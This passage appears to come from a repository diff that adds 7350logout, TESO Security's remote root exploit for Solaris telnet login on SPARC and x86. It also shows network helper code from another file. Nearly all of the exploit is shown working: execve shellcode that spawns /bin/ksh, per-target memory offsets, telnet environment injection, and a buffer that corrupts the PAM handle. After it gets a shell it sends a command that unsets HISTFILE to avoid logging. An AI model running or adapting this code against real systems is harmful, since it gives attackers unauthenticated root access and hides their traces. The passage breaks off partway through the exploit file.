| 718 | |||
| 719 | /* ripped from zodiac */ | ||
| 720 | void | ||
| 721 | hexdump (char *desc, unsigned char *data, unsigned int amount) | ||
| 722 | { | ||
| 723 | unsigned int dp, p; /* data pointer */ | ||
| 724 | const char trans[] = | ||
| 725 | "................................ !\"#$%&'()*+,-./0123456789" | ||
| 726 | ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm" | ||
| 727 | "nopqrstuvwxyz{|}~...................................." | ||
| 728 | "....................................................." | ||
| 729 | "........................................"; | ||
| 730 | |||
| 731 | |||
| 732 | printf ("/* %s, %u bytes */\n", desc, amount); | ||
| 733 | |||
| 734 | for (dp = 1; dp <= amount; dp++) { | ||
| 735 | fprintf (stderr, "%02x ", data[dp-1]); | ||
| 736 | if ((dp % 8) == 0) | ||
| 737 | fprintf (stderr, " "); | ||
| 738 | if ((dp % 16) == 0) { | ||
| 739 | fprintf (stderr, "| "); | ||
| 740 | p = dp; | ||
| 741 | for (dp -= 16; dp < p; dp++) | ||
| 742 | fprintf (stderr, "%c", trans[data[dp]]); | ||
| 743 | fflush (stderr); | ||
| 744 | fprintf (stderr, "\n"); | ||
| 745 | } | ||
| 746 | fflush (stderr); | ||
| 747 | } | ||
| 748 | if ((amount % 16) != 0) { | ||
| 749 | p = dp = 16 - (amount % 16); | ||
| 750 | for (dp = p; dp > 0; dp--) { | ||
| 751 | fprintf (stderr, " "); | ||
| 752 | if (((dp % 8) == 0) && (p != 8)) | ||
| 753 | fprintf (stderr, " "); | ||
| 754 | fflush (stderr); | ||
| 755 | } | ||
| 756 | fprintf (stderr, " | "); | ||
| 757 | for (dp = (amount - (16 - p)); dp < amount; dp++) | ||
| 758 | fprintf (stderr, "%c", trans[data[dp]]); | ||
| 759 | fflush (stderr); | ||
| 760 | } | ||
| 761 | fprintf (stderr, "\n"); | ||
| 762 | |||
| 763 | return; | ||
| 764 | } | ||
| 765 | |||
| 766 | |||
| 767 | |||
| 768 | unsigned long int | ||
| 769 | net_resolve (char *host) | ||
| 770 | { | ||
| 771 | long i; | ||
| 772 | struct hostent *he; | ||
| 773 | |||
| 774 | i = inet_addr(host); | ||
| 775 | if (i == -1) { | ||
| 776 | he = gethostbyname(host); | ||
| 777 | if (he == NULL) { | ||
| 778 | return (0); | ||
| 779 | } else { | ||
| 780 | return (*(unsigned long *) he->h_addr); | ||
| 781 | } | ||
| 782 | } | ||
| 783 | return (i); | ||
| 784 | } | ||
| 785 | |||
| 786 | |||
| 787 | int | ||
| 788 | net_connect (struct sockaddr_in *cs, char *server, | ||
| 789 | unsigned short int port, int sec) | ||
| 790 | { | ||
| 791 | int n, | ||
| 792 | len, | ||
| 793 | error, | ||
| 794 | flags; | ||
| 795 | int fd; | ||
| 796 | struct timeval tv; | ||
| 797 | fd_set rset, wset; | ||
| 798 | struct sockaddr_in csa; | ||
| 799 | |||
| 800 | if (cs == NULL) | ||
| 801 | cs = &csa; | ||
| 802 | |||
| 803 | /* first allocate a socket */ | ||
| 804 | cs->sin_family = AF_INET; | ||
| 805 | cs->sin_port = htons (port); | ||
| 806 | fd = socket (cs->sin_family, SOCK_STREAM, 0); | ||
| 807 | if (fd == -1) | ||
| 808 | return (-1); | ||
| 809 | |||
| 810 | if (!(cs->sin_addr.s_addr = net_resolve (server))) { | ||
| 811 | close (fd); | ||
| 812 | return (-1); | ||
| 813 | } | ||
| 814 | |||
| 815 | flags = fcntl (fd, F_GETFL, 0); | ||
| 816 | if (flags == -1) { | ||
| 817 | close (fd); | ||
| 818 | return (-1); | ||
| 819 | } | ||
| 820 | n = fcntl (fd, F_SETFL, flags | O_NONBLOCK); | ||
| 821 | if (n == -1) { | ||
| 822 | close (fd); | ||
| 823 | return (-1); | ||
| 824 | } | ||
| 825 | |||
| 826 | error = 0; | ||
| 827 | |||
| 828 | n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in)); | ||
| 829 | if (n < 0) { | ||
| 830 | if (errno != EINPROGRESS) { | ||
| 831 | close (fd); | ||
| 832 | return (-1); | ||
| 833 | } | ||
| 834 | } | ||
| 835 | if (n == 0) | ||
| 836 | goto done; | ||
| 837 | |||
| 838 | FD_ZERO(&rset); | ||
| 839 | FD_ZERO(&wset); | ||
| 840 | FD_SET(fd, &rset); | ||
| 841 | FD_SET(fd, &wset); | ||
| 842 | tv.tv_sec = sec; | ||
| 843 | tv.tv_usec = 0; | ||
| 844 | |||
| 845 | n = select(fd + 1, &rset, &wset, NULL, &tv); | ||
| 846 | if (n == 0) { | ||
| 847 | close(fd); | ||
| 848 | errno = ETIMEDOUT; | ||
| 849 | return (-1); | ||
| 850 | } | ||
| 851 | if (n == -1) | ||
| 852 | return (-1); | ||
| 853 | |||
| 854 | if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) { | ||
| 855 | if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) { | ||
| 856 | len = sizeof(error); | ||
| 857 | if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) { | ||
| 858 | errno = ETIMEDOUT; | ||
| 859 | return (-1); | ||
| 860 | } | ||
| 861 | if (error == 0) { | ||
| 862 | goto done; | ||
| 863 | } else { | ||
| 864 | errno = error; | ||
| 865 | return (-1); | ||
| 866 | } | ||
| 867 | } | ||
| 868 | } else | ||
| 869 | return (-1); | ||
| 870 | |||
| 871 | done: | ||
| 872 | n = fcntl(fd, F_SETFL, flags); | ||
| 873 | if (n == -1) | ||
| 874 | return (-1); | ||
| 875 | return (fd); | ||
| 876 | } | ||
| 877 | |||
| 878 | |||
| 879 | int | ||
| 880 | net_rtimeout (int fd, int sec) | ||
| 881 | { | ||
| 882 | fd_set rset; | ||
| 883 | struct timeval tv; | ||
| 884 | int n, error, flags; | ||
| 885 | |||
| 886 | error = 0; | ||
| 887 | flags = fcntl(fd, F_GETFL, 0); | ||
| 888 | n = fcntl(fd, F_SETFL, flags | O_NONBLOCK); | ||
| 889 | if (n == -1) | ||
| 890 | return (-1); | ||
| 891 | |||
| 892 | FD_ZERO(&rset); | ||
| 893 | FD_SET(fd, &rset); | ||
| 894 | tv.tv_sec = sec; | ||
| 895 | tv.tv_usec = 0; | ||
| 896 | |||
| 897 | /* now we wait until more data is received then the tcp low level watermark, | ||
| 898 | * which should be setted to 1 in this case (1 is default) | ||
| 899 | */ | ||
| 900 | |||
| 901 | n = select(fd + 1, &rset, NULL, NULL, &tv); | ||
| 902 | if (n == 0) { | ||
| 903 | n = fcntl(fd, F_SETFL, flags); | ||
| 904 | if (n == -1) | ||
| 905 | return (-1); | ||
| 906 | errno = ETIMEDOUT; | ||
| 907 | return (-1); | ||
| 908 | } | ||
| 909 | if (n == -1) { | ||
| 910 | return (-1); | ||
| 911 | } | ||
| 912 | /* socket readable ? */ | ||
| 913 | if (FD_ISSET(fd, &rset)) { | ||
| 914 | n = fcntl(fd, F_SETFL, flags); | ||
| 915 | if (n == -1) | ||
| 916 | return (-1); | ||
| 917 | return (1); | ||
| 918 | } else { | ||
| 919 | n = fcntl(fd, F_SETFL, flags); | ||
| 920 | if (n == -1) | ||
| 921 | return (-1); | ||
| 922 | errno = ETIMEDOUT; | ||
| 923 | return (-1); | ||
| 924 | } | ||
| 925 | } | ||
| 926 | |||
| 927 | |||
| 928 | int | ||
| 929 | nwrite (int fd, unsigned char *ptr, unsigned int len) | ||
| 930 | { | ||
| 931 | ssize_t retval, | ||
| 932 | nwr = 0; | ||
| 933 | static int flipcount = 0; | ||
| 934 | |||
| 935 | |||
| 936 | if (verbose) | ||
| 937 | hexdump ("to wire", ptr, len); | ||
| 938 | |||
| 939 | while (len > 0) { | ||
| 940 | telnet_send (fd, flipcount ? WILL : WONT, TELOPT_BINARY); | ||
| 941 | flipcount = flipcount ? 0 : 1; | ||
| 942 | |||
| 943 | retval = write (fd, ptr, len > 0x100 ? 0x100 : len); | ||
| 944 | if (retval <= 0) | ||
| 945 | return (retval); | ||
| 946 | |||
| 947 | ptr += retval; | ||
| 948 | len -= retval; | ||
| 949 | nwr += retval; | ||
| 950 | } | ||
| 951 | |||
| 952 | return (nwr); | ||
| 953 | } | ||
| 954 | |||
diff --git a/exploits/7350logout/7350logout.c b/exploits/7350logout/7350logout.c new file mode 100644 index 0000000..4a14180 --- /dev/null +++ b/exploits/7350logout/7350logout.c | |||
| @@ -0,0 +1,1189 @@ | |||
| 1 | /* 7350logout - sparc|x86/solaris login remote root exploit | ||
| 2 | * | ||
| 3 | * TESO CONFIDENTIAL - SOURCE MATERIALS | ||
| 4 | * | ||
| 5 | * This is unpublished proprietary source code of TESO Security. | ||
| 6 | * | ||
| 7 | * The contents of these coded instructions, statements and computer | ||
| 8 | * programs may not be disclosed to third parties, copied or duplicated in | ||
| 9 | * any form, in whole or in part, without the prior written permission of | ||
| 10 | * TESO Security. This includes especially the Bugtraq mailing list, the | ||
| 11 | * www.hack.co.za website and any public exploit archive. | ||
| 12 | * | ||
| 13 | * The distribution restrictions cover the entire file, including this | ||
| 14 | * header notice. (This means, you are not allowed to reproduce the header). | ||
| 15 | * | ||
| 16 | * (C) COPYRIGHT TESO Security, 2001 | ||
| 17 | * All Rights Reserved | ||
| 18 | * | ||
| 19 | ***************************************************************************** | ||
| 20 | * 2001/12/19 -scut | ||
| 21 | * | ||
| 22 | * offsetless version (what a brainblasting mess). | ||
| 23 | * | ||
| 24 | * XXX: timing seems to be somewhat relevant, since telnetd does not cleanly | ||
| 25 | * flush anything to login, so we have to sleep a while. should work. | ||
| 26 | * | ||
| 27 | * on sol: cc -o 7 7.c -lnsl -lsocket | ||
| 28 | */ | ||
| 29 | |||
| 30 | #define VERSION "0.7.2" | ||
| 31 | |||
| 32 | #include <sys/types.h> | ||
| 33 | #include <sys/time.h> | ||
| 34 | #include <sys/socket.h> | ||
| 35 | #include <netinet/in.h> | ||
| 36 | #include <arpa/inet.h> | ||
| 37 | #include <arpa/telnet.h> | ||
| 38 | #include <netdb.h> | ||
| 39 | #include <fcntl.h> | ||
| 40 | #include <errno.h> | ||
| 41 | #include <unistd.h> | ||
| 42 | #include <stdio.h> | ||
| 43 | #include <stdlib.h> | ||
| 44 | #include <string.h> | ||
| 45 | |||
| 46 | |||
| 47 | /* ok, here are the guts of our PAM power technique ;) | ||
| 48 | * | ||
| 49 | * 1. we expect this memory layout in the static .bss space: | ||
| 50 | * [envbuf] 0x800 environment string buffer | ||
| 51 | * [args] 63 * 0x04 environment pointer buffer | ||
| 52 | * [pamh] 0x4 pam_handle pointer | ||
| 53 | * | ||
| 54 | * thats all. yes. | ||
| 55 | * | ||
| 56 | * offsetless through triple-overlapping pam_handle struct | ||
| 57 | * TODO: write more in-depth blarf | ||
| 58 | */ | ||
| 59 | |||
| 60 | typedef struct { | ||
| 61 | char * desc; /* distribution */ | ||
| 62 | unsigned long int args; /* &args[0] buffer address */ | ||
| 63 | |||
| 64 | int endianess; /* 0 = big, 1 = little */ | ||
| 65 | |||
| 66 | unsigned char * shellcode; | ||
| 67 | unsigned int shellcode_len; | ||
| 68 | unsigned char * shellcode_nop; /* 4 byte nops */ | ||
| 69 | } tgt_type; | ||
| 70 | |||
| 71 | |||
| 72 | /* 48 byte sparc/solaris pic execve shellcode, lsd-pl.net, thanks! | ||
| 73 | */ | ||
| 74 | unsigned char sparc_solaris_execve[] = | ||
| 75 | "\x20\xbf\xff\xff" /* bn,a <shellcode-4> */ | ||
| 76 | "\x20\xbf\xff\xff" /* bn,a <shellcode> */ | ||
| 77 | "\x7f\xff\xff\xff" /* call <shellcode+4> */ | ||
| 78 | "\x90\x03\xe0\x20" /* add %o7,32,%o0 */ | ||
| 79 | "\x92\x02\x20\x10" /* add %o0,16,%o1 */ | ||
| 80 | "\xc0\x22\x20\x08" /* st %g0,[%o0+8] */ | ||
| 81 | "\xd0\x22\x20\x10" /* st %o0,[%o0+16] */ | ||
| 82 | "\xc0\x22\x20\x14" /* st %g0,[%o0+20] */ | ||
| 83 | "\x82\x10\x20\x0b" /* mov 0x0b,%g1 */ | ||
| 84 | "\x91\xd0\x20\x08" /* ta 8 */ | ||
| 85 | "/bin/ksh"; | ||
| 86 | |||
| 87 | unsigned char sparc_nop[] = | ||
| 88 | "\x90\x1b\x80\x0e"; /* xor %sp, %sp, %o0 */ | ||
| 89 | |||
| 90 | |||
| 91 | /* 42 byte x86/solaris execve shellcode | ||
| 92 | * unknown author (kudos to him ! :) | ||
| 93 | */ | ||
| 94 | unsigned char x86_solaris_execve[] = | ||
| 95 | "\xeb\x1b" /* jmp */ | ||
| 96 | "\x33\xd2" /* xorl %edx,%edx */ | ||
| 97 | "\x58" /* popl %eax */ | ||
| 98 | "\x8d\x78\x14" /* leal 0x14(%eax),edi */ | ||
| 99 | "\x52" /* pushl %edx */ | ||
| 100 | "\x57" /* pushl %edi */ | ||
| 101 | "\x50" /* pushl %eax */ | ||
| 102 | "\xab" /* stosl %eax,%es:(%edi) */ | ||
| 103 | "\x92" /* xchgl %eax,%edx */ | ||
| 104 | "\xab" /* stosl %eax,%es:(%edi) */ | ||
| 105 | "\x88\x42\x08" /* movb %al,0x8(%edx) */ | ||
| 106 | "\x83\xef\x3c" /* subl $0x3c,%edi */ | ||
| 107 | "\xb0\x9a" /* movb $0x9a,%al */ | ||
| 108 | "\xab" /* stosl %eax,%es:(%edi) */ | ||
| 109 | "\x47" /* incl %edi */ | ||
| 110 | "\xb0\x07" /* movb $0x7,%al */ | ||
| 111 | "\xab" /* stosl %eax,%es:(%edi) */ | ||
| 112 | "\xb0\x3b" /* movb $0x3b,%al */ | ||
| 113 | "\xe8\xe0\xff\xff\xff" /* call */ | ||
| 114 | "/bin/ksh"; | ||
| 115 | |||
| 116 | unsigned char x86_nop[] = | ||
| 117 | "\x90\x90\x90\x90"; /* TODO: replace with something innocent */ | ||
| 118 | |||
| 119 | |||
| 120 | #define SH_INIT "unset HISTFILE;id;uname -a;uptime;\n" | ||
| 121 | |||
| 122 | |||
| 123 | tgt_type targets[] = { | ||
| 124 | { "Solaris 2.6|2.7|2.8 sparc", 0x00027600, 0, | ||
| 125 | sparc_solaris_execve, sizeof (sparc_solaris_execve) - 1, | ||
| 126 | sparc_nop }, | ||
| 127 | { "Solaris 2.6|2.7|2.8 x86", /* .bss */ 0x0804f918 + 0x800, 1, | ||
| 128 | x86_solaris_execve, sizeof (x86_solaris_execve) - 1, | ||
| 129 | x86_nop }, | ||
| 130 | #if 0 | ||
| 131 | /* solaris 2.4 uses libauth, a libpam precessor, which looks different. | ||
| 132 | * i suppose it would be possible to make this technique work with libauth, | ||
| 133 | * but its not worth the effort (though they look very similar) | ||
| 134 | { "Solaris 2.4 SPARC", 0x00026e78, | ||
| 135 | sparc_solaris_execve, sizeof (sparc_solaris_execve) - 1 }, | ||
| 136 | */ | ||
| 137 | { "Solaris 2.6 SPARC", 0x00027620, | ||
| 138 | sparc_solaris_execve, sizeof (sparc_solaris_execve) - 1 }, | ||
| 139 | { "Solaris 2.7|2.8 SPARC", 0x000275c0, | ||
| 140 | sparc_solaris_execve, sizeof (sparc_solaris_execve) - 1 }, | ||
| 141 | #endif | ||
| 142 | { NULL, 0x00000000, 0, NULL, 0, NULL }, | ||
| 143 | }; | ||
| 144 | |||
| 145 | tgt_type target_manual_sparc = { | ||
| 146 | "Manual target sparc", 0x0, 0, | ||
| 147 | sparc_solaris_execve, sizeof (sparc_solaris_execve) - 1, | ||
| 148 | sparc_nop | ||
| 149 | }; | ||
| 150 | |||
| 151 | tgt_type target_manual_x86 = { | ||
| 152 | "Manual target x86", 0x0, 0, | ||
| 153 | x86_solaris_execve, sizeof (x86_solaris_execve) - 1, | ||
| 154 | x86_nop | ||
| 155 | }; | ||
| 156 | |||
| 157 | unsigned char manual_type; | ||
| 158 | unsigned long int manual_args = 0x0; | ||
| 159 | |||
| 160 | char * dest = "127.0.0.1"; /* can be changed with -d */ | ||
| 161 | int xp_final = 0, | ||
| 162 | verbose = 0, | ||
| 163 | debug = 0, | ||
| 164 | ttyp = 0; /* force "TTYPROMPT" environment */ | ||
| 165 | |||
| 166 | |||
| 167 | /* prototypes | ||
| 168 | */ | ||
| 169 | |||
| 170 | void usage (char *progname); | ||
| 171 | void shell (int sock); | ||
| 172 | void hexdump (char *desc, unsigned char *data, unsigned int amount); | ||
| 173 | void exploit (int fd); | ||
| 174 | void exploit_setenv (int fd, unsigned char *var, unsigned char *val); | ||
| 175 | unsigned int exploit_pam (unsigned char *ww); | ||
| 176 | unsigned int exploit_nopscode (unsigned char *ww, unsigned long playsize); | ||
| 177 | unsigned int exploit_addstring (unsigned char *ww, unsigned char *str); | ||
| 178 | unsigned int exploit_addbuf (unsigned char *ww, unsigned char *buf, | ||
| 179 | unsigned int buf_len); | ||
| 180 | unsigned int exploit_addbufquot (unsigned char *ww, unsigned char *buf, | ||
| 181 | unsigned int buf_len); | ||
| 182 | unsigned int exploit_addchars (unsigned char *ww, unsigned char wc, | ||
| 183 | unsigned int count); | ||
| 184 | unsigned int exploit_addraw (unsigned char *ww, unsigned char wc); | ||
| 185 | unsigned int exploit_addchar (unsigned char *ww, unsigned char wc); | ||
| 186 | unsigned int exploit_addptrs (unsigned char *ww, unsigned long int ptr, | ||
| 187 | unsigned int count); | ||
| 188 | unsigned int exploit_addptr (unsigned char *ww, unsigned long int ptr); | ||
| 189 | ssize_t telnet_prompt (int fd, unsigned char *inbuf, unsigned int inbufsize, | ||
| 190 | char *prompt); | ||
| 191 | unsigned char * binstrstr (unsigned char *binary, unsigned int bin_len, | ||
| 192 | unsigned char *str); | ||
| 193 | ssize_t telnet_read (int fd, unsigned char *inbuf, unsigned int inbufsize); | ||
| 194 | int telnet_eatall (int fd, unsigned char *inbuf, unsigned int inbuf_len); | ||
| 195 | void telnet_send (int fd, unsigned char type, unsigned char option); | ||
| 196 | void tgt_list (void); | ||
| 197 | unsigned long int net_resolve (char *host); | ||
| 198 | int net_connect (struct sockaddr_in *cs, char *server, | ||
| 199 | unsigned short int port, int sec); | ||
| 200 | int net_rtimeout (int fd, int sec); | ||
| 201 | int nwrite (int fd, unsigned char *ptr, unsigned int len); | ||
| 202 | |||
| 203 | |||
| 204 | |||
| 205 | void | ||
| 206 | usage (char *progname) | ||
| 207 | { | ||
| 208 | fprintf (stderr, "usage: %s [-h] [-v] [-D] [-T] [-p] [-t num] [-a addr] " | ||
| 209 | "[-d dst]\n\n", progname); | ||
| 210 | |||
| 211 | fprintf (stderr, "-h\tdisplay this usage\n" | ||
| 212 | "-v\tincrease verbosity\n" | ||
| 213 | "-D\tDEBUG mode\n" | ||
| 214 | "-T\tTTYPROMPT mode (try when normal mode fails)\n" | ||
| 215 | "-p\tspawn ttyloop directly (use when problem arise)\n" | ||
| 216 | "-t num\tselect target type (zero for list)\n" | ||
| 217 | "-a a\tacp option: set &args[0]. format: \"[sx]:0x123\"\n" | ||
| 218 | "\t(manual offset, try 0x26500-0x28500, " | ||
| 219 | "in 0x600 steps)\n" | ||
| 220 | "-d dst\tdestination ip or fqhn (default: 127.0.0.1)\n\n"); | ||
| 221 | |||
| 222 | exit (EXIT_FAILURE); | ||
| 223 | } | ||
| 224 | |||
| 225 | |||
| 226 | int fastprompt = 0; | ||
| 227 | tgt_type * tgt = NULL; | ||
| 228 | |||
| 229 | int | ||
| 230 | main (int argc, char *argv[]) | ||
| 231 | { | ||
| 232 | int fd, | ||
| 233 | tgt_num = -1; | ||
| 234 | char c; | ||
| 235 | char * progname; | ||
| 236 | unsigned char rbuf[4096]; | ||
| 237 | |||
| 238 | |||
| 239 | #ifndef NOTAG | ||
| 240 | fprintf (stderr, "7350logout - sparc|x86/solaris login remote root " | ||
| 241 | "(version "VERSION") -sc.\n" | ||
| 242 | "team teso.\n\n"); | ||
| 243 | #endif | ||
| 244 | |||
| 245 | progname = argv[0]; | ||
| 246 | if (argc < 2) | ||
| 247 | usage (progname); | ||
| 248 | |||
| 249 | |||
| 250 | while ((c = getopt (argc, argv, "ht:vDTpa:d:")) != EOF) { | ||
| 251 | switch (c) { | ||
| 252 | case 'h': | ||
| 253 | usage (progname); | ||
| 254 | break; | ||
| 255 | case 't': | ||
| 256 | if (sscanf (optarg, "%u", &tgt_num) != 1) | ||
| 257 | usage (progname); | ||
| 258 | break; | ||
| 259 | case 'v': | ||
| 260 | verbose += 1; | ||
| 261 | break; | ||
| 262 | case 'T': | ||
| 263 | ttyp = 1; | ||
| 264 | break; | ||
| 265 | case 'D': | ||
| 266 | debug = 1; | ||
| 267 | break; | ||
| 268 | case 'p': | ||
| 269 | fastprompt = 1; | ||
| 270 | break; | ||
| 271 | case 'a': | ||
| 272 | if (sscanf (optarg, "%c:0x%lx", &manual_type, | ||
| 273 | &manual_args) != 1) | ||
| 274 | { | ||
| 275 | fprintf (stderr, "give args address in [sx]:0x123 " | ||
| 276 | "format, dumb pentester!\n"); | ||
| 277 | exit (EXIT_FAILURE); | ||
| 278 | } | ||
| 279 | break; | ||
| 280 | case 'd': | ||
| 281 | dest = optarg; | ||
| 282 | break; | ||
| 283 | default: | ||
| 284 | usage (progname); | ||
| 285 | break; | ||
| 286 | } | ||
| 287 | } | ||
| 288 | |||
| 289 | if (manual_args != 0) { | ||
| 290 | if (manual_type == 's') { | ||
| 291 | tgt = &target_manual_sparc; | ||
| 292 | } else if (manual_type == 'x') { | ||
| 293 | tgt = &target_manual_x86; | ||
| 294 | } else { | ||
| 295 | fprintf (stderr, "invalid [sx] manual target\n"); | ||
| 296 | exit (EXIT_FAILURE); | ||
| 297 | } | ||
| 298 | |||
| 299 | tgt->args = manual_args; | ||
| 300 | } else if (tgt_num <= 0 || | ||
| 301 | (tgt_num >= (sizeof (targets) / sizeof (tgt_type)))) | ||
| 302 | { | ||
| 303 | if (tgt_num != 0) | ||
| 304 | printf ("WARNING: target out of list. list:\n\n"); | ||
| 305 | |||
| 306 | tgt_list (); | ||
| 307 | |||
| 308 | exit (EXIT_SUCCESS); | ||
| 309 | } else if (tgt == NULL) | ||
| 310 | tgt = &targets[tgt_num - 1]; | ||
| 311 | |||
| 312 | fprintf (stderr, "# using target: %s\n", tgt->desc); | ||
| 313 | |||
| 314 | fd = net_connect (NULL, dest, 23, 20); | ||
| 315 | if (fd <= 0) { | ||
| 316 | fprintf (stderr, "failed to connect\n"); | ||
| 317 | exit (EXIT_FAILURE); | ||
| 318 | } | ||
| 319 | |||
| 320 | if (ttyp) { | ||
| 321 | fprintf (stderr, "# setting TTYPROMPT\n"); | ||
| 322 | exploit_setenv (fd, "TTYPROMPT", "gera"); | ||
| 323 | } | ||
| 324 | |||
| 325 | /* catch initial telnet option processing, then wait for "login: " | ||
| 326 | * prompt to appear | ||
| 327 | */ | ||
| 328 | telnet_prompt (fd, rbuf, sizeof (rbuf), "login: "); | ||
| 329 | fprintf (stderr, "# detected first login prompt\n"); | ||
| 330 | |||
| 331 | /* send one initial login attempt (to set pamh) | ||
| 332 | */ | ||
| 333 | write (fd, "foo 7350\n", 9); | ||
| 334 | sleep (1); | ||
| 335 | write (fd, "pass\n", 5); | ||
| 336 | sleep (1); | ||
| 337 | |||
| 338 | telnet_prompt (fd, rbuf, sizeof (rbuf), "login: "); | ||
| 339 | fprintf (stderr, "# detected second login prompt\n"); | ||
| 340 | |||
| 341 | if (debug) { | ||
| 342 | fprintf (stderr, "### attach and press enter!\n"); | ||
| 343 | getchar (); | ||
| 344 | } | ||
| 345 | exploit (fd); | ||
| 346 | fprintf (stderr, | ||
| 347 | "# send long login bait, waiting for password prompt\n"); | ||
| 348 | xp_final = 1; | ||
| 349 | |||
| 350 | if (fastprompt || debug) { | ||
| 351 | fprintf (stderr, "# press enter at the prompt\n"); | ||
| 352 | } else { | ||
| 353 | telnet_prompt (fd, rbuf, sizeof (rbuf), "Password: "); | ||
| 354 | fprintf (stderr, "# received password prompt, success?\n"); | ||
| 355 | write (fd, "7350\n", 5); | ||
| 356 | |||
| 357 | fprintf (stderr, "# waiting for shell " | ||
| 358 | "(more than 15s hanging = failure)\n"); | ||
| 359 | telnet_prompt (fd, rbuf, sizeof (rbuf), "#"); | ||
| 360 | |||
| 361 | fprintf (stderr, | ||
| 362 | "# detected shell prompt, successful exploitation\n"); | ||
| 363 | fprintf (stderr, "###########################################" | ||
| 364 | "################################\n"); | ||
| 365 | |||
| 366 | write (fd, SH_INIT, strlen (SH_INIT)); | ||
| 367 | } | ||
| 368 | |||
| 369 | shell (fd); | ||
| 370 | |||
| 371 | exit (EXIT_SUCCESS); | ||
| 372 | } | ||
| 373 | |||
| 374 | |||
| 375 | unsigned int envcount; | ||
| 376 | #define MAXARGS 63 | ||
| 377 | |||
| 378 | void | ||
| 379 | exploit (int fd) | ||
| 380 | { | ||
| 381 | int n; | ||
| 382 | unsigned char * ww; /* wbuf walker */ | ||
| 383 | unsigned char wbuf[16384]; | ||
| 384 | unsigned long retaddr; /* where to return to */ | ||
| 385 | unsigned long padenv; | ||
| 386 | |||
| 387 | |||
| 388 | envcount = 0; | ||
| 389 | memset (wbuf, '\x00', sizeof (wbuf)); | ||
| 390 | ww = &wbuf[0]; | ||
| 391 | |||
| 392 | /* login name | ||
| 393 | */ | ||
| 394 | ww += exploit_addstring (ww, "sP!"); | ||
| 395 | ww += exploit_addraw (ww, '\x20'); | ||
| 396 | |||
| 397 | /* 1. env: with return address | ||
| 398 | * retaddr is exact known middle of envbuf for given target, | ||
| 399 | * so it will most likely be correct for unknown targets, too. | ||
| 400 | * we have a total of 0x680(-1) bytes of playground. | ||
| 401 | */ | ||
| 402 | retaddr = tgt->args - 0x0800 + (64 * 2) + 0x340 | ||
| 403 | - 24 ; /* - 24 = shellcode_len / 2, padded up to next %4=0 */ | ||
| 404 | |||
| 405 | fprintf (stderr, "# returning into 0x%08lx\n", retaddr); | ||
| 406 | if (debug) | ||
| 407 | ww += exploit_addptr (ww, 0x41414140); | ||
| 408 | else | ||
| 409 | ww += exploit_addptr (ww, retaddr); | ||
| 410 | ww += exploit_addraw (ww, '\x20'); | ||
| 411 | |||
| 412 | /* 2. - 61. env just bogus data. | ||
| 413 | * TODO: maybe find a valid 0x00mm00mm opcode so this is real | ||
| 414 | * nopspace, too. | ||
| 415 | * | ||
| 416 | * - 1 = login name | ||
| 417 | * - 1 = retaddr data | ||
| 418 | * - 1 = pad | ||
| 419 | */ | ||
| 420 | for (n = 0 ; n < MAXARGS - 1 - 1 - 1 ; ++n) { | ||
| 421 | ww += exploit_addchar (ww, 'a'); | ||
| 422 | ww += exploit_addraw (ww, '\x20'); | ||
| 423 | } | ||
| 424 | |||
| 425 | /* %4=0 padding before nops + shellcode | ||
| 426 | */ | ||
| 427 | padenv = 4 - (envcount % 4); | ||
| 428 | ww += exploit_addchars (ww, 'P', padenv); | ||
| 429 | |||
| 430 | /* 63. nopspace + shellcode, padding before | ||
| 431 | */ | ||
| 432 | padenv = 0x700 - envcount; /* real bytes */ | ||
| 433 | padenv -= 1; /* minus terminating NUL char */ | ||
| 434 | if (verbose > 2) { | ||
| 435 | fprintf (stderr, "envcount = %d (0x%x)\n", envcount, envcount); | ||
| 436 | fprintf (stderr, "padding with %ld (0x%lx) chars\n", | ||
| 437 | padenv, padenv); | ||
| 438 | } | ||
| 439 | |||
| 440 | if (debug) | ||
| 441 | ww += exploit_addchars (ww, '7', padenv); | ||
| 442 | else | ||
| 443 | ww += exploit_nopscode (ww, padenv); | ||
| 444 | |||
| 445 | ww += exploit_addraw (ww, '\x20'); | ||
| 446 | |||
| 447 | |||
| 448 | /* 64. pamh, minimal survive-header, then NUL padding | ||
| 449 | * align so that pameptr is the 65'th pointer, yay! | ||
| 450 | */ | ||
| 451 | ww += exploit_pam (ww); | ||
| 452 | padenv = 0x7e8 + 4 - envcount; | ||
| 453 | padenv -= 1; | ||
| 454 | ww += exploit_addchars (ww, '\x00', padenv); | ||
| 455 | ww += exploit_addraw (ww, '\x20'); | ||
| 456 | |||
| 457 | /* 65. pameptr | ||
| 458 | */ | ||
| 459 | ww += exploit_addstring (ww, "7350"); | ||
| 460 | |||
| 461 | *ww++ = '\n'; | ||
| 462 | |||
| 463 | n = ww - &wbuf[0]; | ||
| 464 | |||
| 465 | if (verbose >= 2) | ||
| 466 | hexdump ("WIRE-BUFFER", wbuf, n); | ||
| 467 | |||
| 468 | nwrite (fd, wbuf, n); | ||
| 469 | } | ||
| 470 | |||
| 471 | /* 854! ;) | ||
| 472 | */ | ||
| 473 | void | ||
| 474 | exploit_setenv (int fd, unsigned char *var, unsigned char *val) | ||
| 475 | { | ||
| 476 | int n = 0; | ||
| 477 | unsigned char buf[2048]; | ||
| 478 | |||
| 479 | buf[n++] = IAC; | ||
| 480 | buf[n++] = SB; | ||
| 481 | buf[n++] = TELOPT_NEW_ENVIRON; | ||
| 482 | buf[n++] = TELQUAL_IS; | ||
| 483 | buf[n++] = ENV_USERVAR; | ||
| 484 | |||
| 485 | /* should not contain < 0x04 */ | ||
| 486 | while (*var) { | ||
| 487 | if (*var == IAC) | ||
| 488 | buf[n++] = *var; | ||
| 489 | buf[n++] = *var++; | ||
| 490 | } | ||
| 491 | buf[n++] = NEW_ENV_VALUE; | ||
| 492 | while (*val) { | ||
| 493 | if (*val == IAC) | ||
| 494 | buf[n++] = *val; | ||
| 495 | buf[n++] = *val++; | ||
| 496 | } | ||
| 497 | buf[n++] = IAC; | ||
| 498 | buf[n++] = SE; | ||
| 499 | |||
| 500 | if (send (fd, buf, n, 0) != n) { | ||
| 501 | perror ("xp_setenv:send"); | ||
| 502 | exit (EXIT_FAILURE); | ||
| 503 | } | ||
| 504 | } | ||
| 505 | |||
| 506 | |||
| 507 | #define PAM_USER 2 | ||
| 508 | #define PAM_MAX_ITEMS 64 | ||
| 509 | |||
| 510 | unsigned int | ||
